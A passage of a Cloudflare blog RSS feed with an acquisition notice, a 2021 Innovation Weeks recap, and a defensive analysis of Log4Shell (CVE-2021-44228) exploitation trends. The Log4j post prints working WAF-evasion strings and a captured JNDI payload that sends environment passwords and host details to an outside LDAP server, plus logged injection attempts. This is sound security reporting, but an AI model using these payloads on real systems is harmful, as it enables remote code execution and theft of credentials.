    <p>We’re excited to welcome Vectrix to the Cloudflare team. You can learn more about why they decided to join Cloudflare in <a href="/cloudflare-acquires-vectrix-to-expand-zero-trust-saas-security/">this blog post</a> published today.</p><p>We have already started migrating their services to the Cloudflare global network and plan to open sign-ups for a beta in the next couple of months. If you are interested, please <a href="https://www.cloudflare.com/products/zero-trust/lp/casb-beta/">sign up here</a>. Don’t let the beta delay the start of your own journey with these products—we’ll be inviting users off of the waitlist based on when they first started deploying Cloudflare’s Zero Trust products.</p> ]]></content:encoded>
            <category><![CDATA[CASB]]></category>
            <category><![CDATA[Cloudflare Zero Trust]]></category>
            <category><![CDATA[Zero Trust]]></category>
            <category><![CDATA[Security]]></category>
            <category><![CDATA[Product News]]></category>
            <guid isPermaLink="false">1qYufmuNV264UpgY9MHLdG</guid>
            <dc:creator>Sam Rhea</dc:creator>
            <dc:creator>John Graham-Cumming</dc:creator>
        </item>
        <item>
            <title><![CDATA[Cloudflare Innovation Weeks 2021]]></title>
            <link>https://blog.cloudflare.com/2021-innovations-weeks/</link>
            <pubDate>Fri, 07 Jan 2022 15:57:51 GMT</pubDate>
            <description><![CDATA[ As we start planning our 2022 Innovation Weeks, we are reflecting back on the highlights from each of these weeks ]]></description>
            <content:encoded><![CDATA[ 
            <figure>
            
            <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/4CJ4z6V4JlFmnuhmSkItgT/590b065fe93fefe75bad581e5739533d/image1-3.png" />
            
            </figure><p>One of the things that makes Cloudflare unique is our Innovation Weeks. Rather than having one large conference annually, we have multiple Innovation Weeks throughout the year to highlight new product announcements, beta products opening up to general availability, and share how our customers are using Cloudflare to help build a better Internet.</p><p>Internally, these weeks generate a lot of energy and excitement as well, as they provide an opportunity for teams from across Cloudflare to work together on product delivery and celebrate company-wide successes. In 2021, we had seven Cloudflare Innovation Weeks. As we start planning our 2022 Innovation Weeks, we are reflecting back on the highlights from each of these weeks.</p>
            <figure>
            
            <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/pRgZY2FboWxojsx4QGExA/34735542abd58668fc62fbefd311e4a9/image2-5.png" />
            
            </figure>
    <div>
      <h3><a href="https://www.cloudflare.com/security-week/">Security Week</a> March 21-26, 2021</h3>
      <a href="#march-21-26-2021">
        
      </a>
    </div>
    <p><b>Patrick Donahue</b></p><p>Security Week kicked off Cloudflare’s 2021 Innovation Weeks with a series of foundational security announcements. The Internet wasn’t built with security in mind, but the products and partnerships announced this week continued Cloudflare’s core mission of helping build a better Internet—one that companies of all sizes can plug into and be protected by default from the types of attacks that have historically resulted in loss of data, computing resources, and customer confidence.</p><p>At the start of the week, we took on the task of replacing <a href="https://www.cloudflare.com/learning/network-layer/what-is-mpls/">MPLS</a>, the core network technology that many organizations use to connect their offices and data centers, with a <a href="https://t.co/Bn2aMflr3P">more secure and cost-effective alternative</a>. Next, we tackled the biggest risk to everyday users of the web by <a href="https://t.co/v6ZYtjJOhJ">opening our remote browser isolation technology to teams of all sizes</a> and <a href="/introducing-page-shield/">protecting against malicious code injection</a>. Following those announcements, we inverted the slow, network chokepoint model of data loss prevention <a href="/data-loss-prevention/">by building zero trust controls over data directly into every aspect of the Cloudflare One suite</a>. And to round out the week, we <a href="/super-bot-fight-mode/">democratized access to bot-fighting technology previously only available to the largest enterprises</a> while also  <a href="/api-abuse-detection/">deepening our solutions for novel threats facing APIs</a>.</p><p><a href="/tag/security-week/">View all Security Week 2021 Blog Posts</a><a href="https://cloudflare.tv/search/security%20week">View all Security Week 2021 Cloudflare TV Series</a></p>
            <figure>
            
            <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/2BQdyz2bOTpK1EVc40JpH3/e9c46de66545a2bb7ae73f631fdc03e0/image3-9.png" />
            
            </figure>
    <div>
      <h3><a href="https://www.cloudflare.com/developer-week/">Developer Week</a> April 11-17, 2021</h3>
      <a href="#april-11-17-2021">
        
      </a>
    </div>
    <p><b>Alyson Cabral</b></p><p>With Developer Week, we had one focus – to make developers’ lives easier. Our announcements included <a href="/cloudflare-pages-ga/">Cloudflare Pages being made generally available</a>, <a href="/introducing-websockets-in-workers/">Introducing Web Socket Support in Workers</a>, <a href="/workers-unbound-ga/">Workers Unbound</a>, <a href="/tunnel-for-everyone/">Free Tunnels</a>, <a href="/workers-ai/">Partnering with Nvidia to bring AI to the Edge</a> and <a href="/tag/developer-week/">many more announcements throughout the week.</a> In addition to the announcements, we also launched our first ever <a href="/developer-week-challenges/">Developer Challenge</a> series. Each day, a new challenge was announced to encourage developers from across the globe to level up their skills by trying new features and approaches. Solutions were revealed the following day, with the <a href="https://cloudflare.tv/event/TUlc16pW13ou8en25LKE2">bonus round solution</a> wrapping up the week. To keep up to date on the next round of challenges, join our <a href="https://discord.com/invite/cloudflaredev">Cloudflare Developer community</a>.</p><p><a href="/tag/developer-week/">View all Developer Week 2021 Blog Posts</a><a href="https://cloudflare.tv/shows/developer-week">View all Developer Week 2021 Cloudflare TV Series</a></p>
            <figure>
            
            <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/5Mo9PqAJdr64jBsCBMf4xK/ecdd8a01d316dd90e86dc89ad99aeab2/image4-7.png" />
            
            </figure>
    <div>
      <h3><a href="https://www.cloudflare.com/impact-week/">Impact Week</a> July 26-31, 2021</h3>
      <a href="#july-26-31-2021">
        
      </a>
    </div>
    <p><b>Patrick Day</b></p><p>During our first Impact Week, we reflected on how we are achieving Cloudflare's mission–helping build a better Internet– and why we continue to prioritize projects that give back to the Internet. Impact Week highlighted some of the things we are doing as a company around environmental, social and governance initiatives. We launched <a href="/pangea/">Project Pangea</a>, a free program to provide secure, reliable access to the Internet for community networks that support under-served communities. We also shared how we are <a href="/helping-build-a-green-internet/">committed to helping build a green Internet</a> through efficiency, renewable energy, and providing developers a choice to run their workloads in the most energy efficient data centers. In addition, we published our <a href="/cloudflare-human-rights-commitments/">first human rights policy</a> in order to better serve our mission and core values.</p><p><a href="/tag/impact-week/">View all Impact Week 2021 Blog Posts</a><a href="https://cloudflare.tv/impact-week">View all Impact Week 2021 Cloudflare TV Series</a></p>
            <figure>
            
            <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/2OwMz4DP2R3xg6AZzuAhAy/02d1b33aede1323703f3d7e896f0757b/image8-11.png" />
            
            </figure>
    <div>
      <h3><a href="https://www.cloudflare.com/speed-week/">Speed Week</a> Sept 12-17, 2021</h3>
      <a href="#sept-12-17-2021">
        
      </a>
    </div>
    <p><b>Marc Lamik</b></p><p>Helping make the Internet faster is one of Cloudflare’s core priorities. During Speed Week we shared how <a href="/benchmarking-edge-network-performance/">fast Cloudflare’s Network</a> is as well as the <a href="/cloudflare-workers-the-fast-serverless-platform/">amazing performance of Workers</a> and Pages’ lightning fast speed. We <a href="https://www.cloudflare.com/press-releases/2021/cloudflare-grows-its-network-to-speed-up-and-secure-the-internet/">expanded the size of Cloudflare’s network</a>, so it’s closer to more people than ever.</p><p>We launched two amazing performance features with <a href="/automatic-signed-exchanges/">Signed Exchanges</a> reducing load times and increasing SEO rankings with one click as well as <a href="/early-hints/">Early Hints</a> which can reduce loading times by 30%.</p><p>As part of  Speed week, we also announced <a href="/announcing-cloudflare-images/">Cloudflare Images</a> which stores, resizes, optimizes and serves images so that all of our customers can build a scalable, affordable image pipeline.</p><p><a href="/tag/speed-week/">View all Speed Week 2021 Blog Posts</a><a href="https://cloudflare.tv/shows/speed-week">View all Speed Week 2021 Cloudflare TV Series</a></p>
            <figure>
            
            <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/3v2vVbrGTC6BLoTyBZDcuU/081dd9d72b44a261f3358837c1527546/image6-8.png" />
            
            </figure>
    <div>
      <h3><a href="https://www.cloudflare.com/birthday-week/">Cloudflare Birthday Week</a> Sept 26-Oct 1, 2021</h3>
      <a href="#sept-26-oct-1-2021">
        
      </a>
    </div>
    <p><b>Dane Knecht</b> and <b>Jennifer Taylor</b></p><p>This is the week in which we celebrate Cloudflare's birthday. We launched the company 11 years ago: September 27, 2010. It has been our tradition, since our first birthday, to use this week to launch innovative products that we think of as our gift back to the Internet. In 2021, we announced <a href="https://www.cloudflare.com/developer-platform/r2/">Cloudflare R2</a>, our object-based storage with no egress fees, tackled solutions to <a href="/tackling-email-spoofing/">Email Spoofing and Phishing</a>, shared how we are <a href="/cloudflare-for-offices/">expanding our network into office buildings</a> as well as many more product announcements and Cloudflare TV executive fireside chats and product discussions.</p><p><a href="/tag/birthday-week/">View all Birthday Week Blog Posts</a><a href="https://cloudflare.tv/search/birthday%20week">View all Birthday Week Cloudflare TV Series</a></p>
            <figure>
            
            <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/1niM8X9rDPCPlsmK2RmLPk/637458e5d7c433d4fe91bdfb3c00f8e4/image5-7.png" />
            
            </figure>
    <div>
      <h3><a href="https://www.cloudflare.com/full-stack-week/">Full Stack Week</a> Nov 14-19, 2021</h3>
      <a href="#nov-14-19-2021">
        
      </a>
    </div>
    <p><b>Rita Kozlov</b></p><p>During <a href="/full-stack-week-2021/">Full Stack Week</a>, we brought the vision of the <a href="/the-network-is-the-computer/">Network is the Computer</a> to life — allowing developers to build their entire application on our network, soup to nuts. Over the course of the week, we made a series of announcements, each providing another critical piece of the puzzle, necessary to build a full stack application.</p><p>We started with the foundation — data, announcing the <a href="/durable-objects-ga/">general availability of Durable Objects</a>, and ability to <a href="/relational-database-connectors/">connect to databases</a>, alongside <a href="/workers-adds-support-for-two-modern-data-platforms-mongodb-atlas-and-prisma/">partnerships with MongoDB and Prisma</a>. <a href="https://pages.cloudflare.com/">Cloudflare Pages</a>, our Jamstack platform also took a step deeper down the stack by introducing support for seamless <a href="/cloudflare-pages-goes-full-stack/">deployment of functions</a>. We want development on our platform to be an enjoyable experience, so we announced the <a href="/wrangler-v2-beta/">new version of wrangler</a>, our CLI, and <a href="/introducing-worker-services/">Services</a>, a better way for teams to build applications. And while we want developers to have fun, we also want them to be able to monetize their efforts, which they now can do using the <a href="/announcing-stripe-support-in-workers/">Stripe SDK</a> on Workers.</p><p><a href="/tag/full-stack-week/">View all Full Stack Week 2021 Blog Posts</a><a href="https://cloudflare.tv/full-stack-week">View all Full Stack Week Cloudflare TV Series</a></p>
            <figure>
            
            <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/5gNIeUhsNURRmDUWg4T8ET/cacd82453ccc91d7ebb1c07929d0011d/image7-4.png" />
            
            </figure>
    <div>
      <h3><a href="https://www.cloudflare.com/cio-week/">CIO Week</a> Dec 5-10, 2021</h3>
      <a href="#dec-5-10-2021">
        
      </a>
    </div>
    <p><b>Annika Garbers</b></p><p>To wrap up the year, we <a href="https://www.cloudflare.com/products/zero-trust/interactive-demo/">demonstrated</a> how Cloudflare One, our Zero Trust <a href="https://www.cloudflare.com/learning/network-layer/network-as-a-service-naas/">Network-as-a-Service</a>, is helping Chief Information Officers transform their corporate networks. We launched new capabilities in Cloudflare One to help customers <a href="/replace-your-hardware-firewalls-with-cloudflare-one/">replace their hardware firewalls</a> and a chance to <a href="https://www.cloudflare.com/oahu/">win a trip to Oahu</a> in the process, a <a href="/store-your-cloudflare-logs-on-r2/">Log Storage</a> platform built on Cloudflare R2, a new <a href="/foundation-dns/">premium DNS offering</a>, and <a href="/security-center/">Cloudflare Security Center</a>, which helps customers map their <a href="https://www.cloudflare.com/learning/security/what-is-an-attack-surface/">attack surface</a> and mitigate potential security risks with just a few clicks. We also announced our <a href="/why-cloudflare-bought-zaraz/">acquisition of Zaraz</a> to boost website speed and security without sacrificing privacy, as well as new partnerships with <a href="/cloudflare-one-helps-optimize-user-connectivity-to-microsoft-365/">Microsoft</a> and <a href="/cyber-risk-partnerships/">leading cyber insurance providers</a>, among <a href="/tag/cio-week/">many other exciting announcements</a> throughout the week.</p><p><a href="/tag/cio-week/">View all CIO Week 2021 Blog Posts</a><a href="https://cloudflare.tv/cio-week">View all CIO Week 2021 Cloudflare TV Series</a></p> ]]></content:encoded>
            <category><![CDATA[Birthday Week]]></category>
            <category><![CDATA[CIO Week]]></category>
            <category><![CDATA[Developer Week]]></category>
            <category><![CDATA[Full Stack Week]]></category>
            <category><![CDATA[Impact Week]]></category>
            <category><![CDATA[Privacy Week]]></category>
            <category><![CDATA[Security Week]]></category>
            <category><![CDATA[Speed Week]]></category>
            <category><![CDATA[Product News]]></category>
            <category><![CDATA[Developers]]></category>
            <guid isPermaLink="false">3Al6YWl5JOmehCLu0RoeEJ</guid>
            <dc:creator>Reagan Russell</dc:creator>
            <dc:creator>John Graham-Cumming</dc:creator>
            <dc:creator>Val Vesa</dc:creator>
        </item>
        <item>
            <title><![CDATA[Exploitation of Log4j CVE-2021-44228 before public disclosure and evolution of evasion and exfiltration]]></title>
            <link>https://blog.cloudflare.com/exploitation-of-cve-2021-44228-before-public-disclosure-and-evolution-of-waf-evasion-patterns/</link>
            <pubDate>Tue, 14 Dec 2021 17:48:50 GMT</pubDate>
            <description><![CDATA[ This article covers WAF evasion patterns and exfiltration attempts, trend data on attempted exploitation, and information on exploitation that we saw prior to the public disclosure of CVE-2021-44228. ]]></description>
            <content:encoded><![CDATA[ <p>In this blog post we will cover WAF evasion patterns and exfiltration attempts seen in the world, trend data on attempted exploitation, and information on exploitation that we saw prior to the public disclosure of <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-44228">CVE-2021-44228</a>.</p><p>In short, we saw limited testing of the vulnerability on December 1, <i>eight days before public disclosure</i>. We saw the <i>first attempt to exploit the vulnerability just nine minutes after public disclosure</i> showing just how fast attackers exploit newly found problems.</p><p>We also see mass attempts to evade WAFs that have tried to perform simple blocking, we see mass attempts to <a href="https://www.cloudflare.com/learning/security/what-is-data-exfiltration/">exfiltrate data</a> including secret credentials and passwords.</p>
    <div>
      <h3>WAF Evasion Patterns and Exfiltration Examples</h3>
      <a href="#waf-evasion-patterns-and-exfiltration-examples">
        
      </a>
    </div>
    <p>Since the <a href="https://www.lunasec.io/docs/blog/log4j-zero-day/">disclosure</a> of CVE-2021-44228 (now commonly referred to as Log4Shell) we have seen attackers go from using simple attack strings to actively trying to evade blocking by WAFs. <a href="https://www.cloudflare.com/learning/ddos/glossary/web-application-firewall-waf/">WAFs</a> provide a useful tool for stopping external attackers and WAF evasion is commonly attempted to get past simplistic rules.</p><p>In the earliest stages of exploitation of the Log4j vulnerability attackers were using un-obfuscated strings typically starting with <code>${jndi:dns, ${jndi:rmi</code> and <code>${jndi:ldap</code> and simple rules to look for those patterns were effective.</p><p>Quickly after those strings were being blocked and attackers switched to using evasion techniques. They used, and are using, both standard evasion techniques (escaping or encoding of characters) and tailored evasion specific to the <a href="https://logging.apache.org/log4j/2.x/manual/lookups.html">Log4j Lookups language</a>.</p><p>Any capable WAF will be able to handle the standard techniques. Tricks like encoding <code>${</code> as <code>%24%7B</code> or <code>\u0024\u007b</code> are easily reversed before applying rules to check for the specific exploit being used.</p><p>However, the Log4j language has some rich functionality that enables obscuring the key strings that some WAFs look for. For example, the <code>${lower}</code> lookup will lowercase a string. So, <code>${lower:H}</code> would turn into <code>h</code>. Using lookups attackers are disguising critical strings like <code>jndi</code> helping to evade WAFs.</p><p>In the wild we are seeing use of <code>${date}</code>, <code>${lower}</code>, <code>${upper}</code>, <code>${web}</code>, <code>${main}</code> and <code>${env}</code> for evasion. Additionally, <code>${env}</code>, <code>${sys}</code> and <code>${main}</code> (and other specialized lookups for Docker, Kubernetes and other systems) are being used to exfiltrate data from the target process’ environment (including critical secrets).</p><p>To better understand how this language is being used, here is a small Java program that takes a string on the command-line and logs it to the console via Log4j:</p>
            <pre><code>import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;

public class log4jTester{
    private static final Logger logger = LogManager.getLogger(log4jTester.class);
       
    public static void main(String[] args) {
	logger.error(args[0]);
    }
}</code></pre>
            <p>This simple program writes to the console. Here it is logging the single word hide.</p>
            <pre><code>$ java log4jTester.java 'hide'          
01:28:25.606 [main] ERROR log4jTester - hide</code></pre>
            <p>The Log4j language allows use of the <code>${}</code> inside <code>${}</code> thus attackers are able to combine multiple different keywords for evasion. For example, the following <code>${lower:${lower:h}}${lower:${upper:i}}${lower:D}e</code> would be logged as the word <code>hide</code>. That makes it easy for an attacker to evade simplistic searching for <code>${jndi</code>, for example, as the letters of <code>jndi</code> can be hidden in a similar manner.</p>
            <pre><code>$ java log4jTester.java '${lower:${lower:h}}${lower:${upper:i}}${lower:d}e'
01:30:42.015 [main] ERROR log4jTester - hide</code></pre>
            <p>The other major evasion technique makes use of the :- syntax. That syntax enables the attacker to set a default value for a lookup and if the value looked up is empty then the default value is output. So, for example, looking up a non-existent environment variable can be used to output letters of a word.</p>
            <pre><code>$ java log4jTester.java '${env:NOTEXIST:-h}i${env:NOTEXIST:-d}${env:NOTEXIST:-e}' 
01:35:34.280 [main] ERROR log4jTester - hide</code></pre>
            <p>Similar techniques are in use with <code>${web}</code>, <code>${main}</code>, etc. as well as strings like <code>${::-h}</code> or <code>${::::::-h}</code> which both turn into <code>h</code>. And, of course, combinations of these techniques are being put together to make more and more elaborate evasion attempts.</p><p>To get a sense for how evasion has taken off here's a chart showing un-obfuscated <code>${jndi:</code> appearing in WAF blocks (the orange line), the use of the <code>${lower}</code> lookup (green line), use of URI encoding (blue line) and one particular evasion that's become popular <code>${${::-j}${::-n}${::-d}${::-i}</code>(red line).</p>
            <figure>
            
            <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/6imnpZmBPnDmDdZL5YDHrG/e3fb526beb0d790b907bd16a2ca903a3/image--7-.png" />
            
            </figure><p>For the first couple of days evasion was relatively rare. Now, however, although naive strings like <code>${jndi:</code> remain popular evasion has taken off and WAFs must block these improved attacks.</p><p>We wrote last week about the initial phases of exploitation that were <a href="/inside-the-log4j2-vulnerability-cve-2021-44228/">mostly about reconnaissance</a>. Since then attackers have moved on to data extraction.</p><p>We see the use of <code>${env}</code> to extract environment variables, and <code>${sys}</code> to get information about the system on which Log4j is running. One attack, blocked in the wild, attempted to exfiltrate a lot of data from various Log4j lookups:</p>
            <pre><code>${${env:FOO:-j}ndi:${lower:L}da${lower:P}://x.x.x.x:1389/FUZZ.HEADER.${docker:
imageName}.${sys:user.home}.${sys:user.name}.${sys:java.vm.version}.${k8s:cont
ainerName}.${spring:spring.application.name}.${env:HOSTNAME}.${env:HOST}.${ctx
:loginId}.${ctx:hostName}.${env:PASSWORD}.${env:MYSQL_PASSWORD}.${env:POSTGRES
_PASSWORD}.${main:0}.${main:1}.${main:2}.${main:3}}</code></pre>
            <p>There you can see the user, home directory, Docker image name, details of Kubernetes and Spring, passwords for the user and databases, hostnames and command-line arguments being exfiltrated.</p><p><b>Because of the sophistication of both evasion and exfiltration WAF vendors need to be looking at any occurrence of ${ and treating it as suspicious.</b> For this reason, we are additionally offering <a href="/log4j-cloudflare-logs-mitigation/">to sanitize any logs</a> we send our customer to convert <code>${</code> to <code>x{</code>.</p><p>The Cloudflare WAF team is continuously working to block attempted exploitation, but it is still vital that customers patch their systems with up-to-date Log4j or apply mitigations. Since data that is logged does not necessarily come via the Internet systems need patching whether they are Internet-facing or not.</p><p>All paid customers have configurable WAF rules to help protect against CVE-2021-44228, and we have also deployed protection for our free customers.</p>
    <div>
      <h3>CVE-2021-44228 Exploitation Trends</h3>
      <a href="#cve-2021-44228-exploitation-trends">
        
      </a>
    </div>
    <p>Cloudflare quickly put in place WAF rules to help block these attacks. The following chart shows how those blocked attacks evolved.</p>
            <figure>
            
            <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/7vRyAqkAVVCcgYXQyAW3He/8d1ee7c2575a6a2106c4641fab7827dc/image3-39.png" />
            
            </figure><p>From December 10 to December 13 we saw the number of blocks per minute ramp up as follows.</p><table><tr><td><p><b>Date</b></p></td><td><p><b>Mean blocked requests per minute</b></p></td></tr><tr><td><p>2021-12-10</p></td><td><p>5,483</p></td></tr><tr><td><p>2021-12-11</p></td><td><p>18,606</p></td></tr><tr><td><p>2021-12-12</p></td><td><p>27,439</p></td></tr><tr><td><p>2021-12-13</p></td><td><p>24,642</p></td></tr></table><p>In our <a href="/actual-cve-2021-44228-payloads-captured-in-the-wild/">initial blog post</a> we noted that Canada (the green line below) was the top source country for attempted exploitation. As we predicted that did not continue and attacks are coming from all over the world, either directly from servers or via proxies.</p>
            <figure>
            
            <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/38r1ZNJMpqQQ1qV9aPzfiK/9bd75219c35a9a6f68b7c57633f51e20/image1-72.png" />
            
            </figure>
    <div>
      <h3>Exploitation of CVE-2021-44228 prior to disclosure</h3>
      <a href="#exploitation-of-cve-2021-44228-prior-to-disclosure">
        
      </a>
    </div>
    <p>CVE-2021-44228 was disclosed in a (now deleted) Tweet on 2021-12-09 14:25 UTC:</p>
            <figure>
            
            <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/2H5jJqC0ZOKtwIBxFfXJWX/14ed9c5085d95c34b14e632e131aa9ea/image2-53.png" />
            
            </figure><p>However, our systems captured three instances of attempted exploitation or scanning on December 1, 2021, as follows. In each of these I have obfuscated IP addresses and domain names. These three injected <code>${jndi:ldap}</code> lookups in the HTTP <code>User-Agent</code> header, the <code>Referer</code> header and in URI parameters.</p>
            <pre><code>2021-12-01 03:58:34
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 
    (KHTML, like Gecko) Chrome/87.0.4280.141 Safari/537.36 ${jndi:ldap://rb3w24.example.com/x}
Referer: /${jndi:ldap://rb3w24.example.com/x}
Path: /$%7Bjndi:ldap://rb3w24.example.com/x%7D

2021-12-01 04:36:50
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 
    (KHTML, like Gecko) Chrome/87.0.4280.141 Safari/537.36 ${jndi:ldap://y3s7xb.example.com/x}
Referer: /${jndi:ldap://y3s7xb.example.com/x}
Parameters: x=$%7Bjndi:ldap://y3s7xb.example.com/x%7D						

2021-12-01 04:20:30
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 
    (KHTML, like Gecko) Chrome/87.0.4280.141 Safari/537.36 ${jndi:ldap://vf9wws.example.com/x}
Referer: /${jndi:ldap://vf9wws.example.com/x}	
Parameters: x=$%7Bjndi:ldap://vf9wws.example.com/x%7D	</code></pre>
            <p>After those three attempts we saw no further activity until nine minutes after public disclosure when someone attempts to inject a <code>${jndi:ldap}</code> string via a URI parameter on a gaming website.</p>
            <pre><code>2021-12-09 14:34:31
Parameters: redirectUrl=aaaaaaa$aadsdasad$${jndi:ldap://log4.cj.d.example.com/exp}</code></pre>
            
    <div>
      <h3>Conclusion</h3>
      <a href="#conclusion">
        
      </a>
    </div>
    <p>CVE-2021-44228 is being actively exploited by numerous actors. WAFs are effective as a measure to help prevent attacks from the outside, but they are not foolproof and attackers are actively working on evasions. The potential for exfiltration of data and credentials is incredibly high and the long term risks of more devastating hacks and attacks is very real.</p><p>It is vital to mitigate and patch affected software that uses Log4j now and not wait.</p> ]]></content:encoded>
            <category><![CDATA[Log4J]]></category>
            <category><![CDATA[Log4Shell]]></category>
            <category><![CDATA[Vulnerabilities]]></category>
            <category><![CDATA[WAF]]></category>
            <category><![CDATA[Security]]></category>
            <guid isPermaLink="false">5zmkavCF1c5hkbRKHHOlWf</guid>
            <dc:creator>John Graham-Cumming</dc:creator>
            <dc:creator>Celso Martinho</dc:creator>
        </item>
    </channel>
</rss>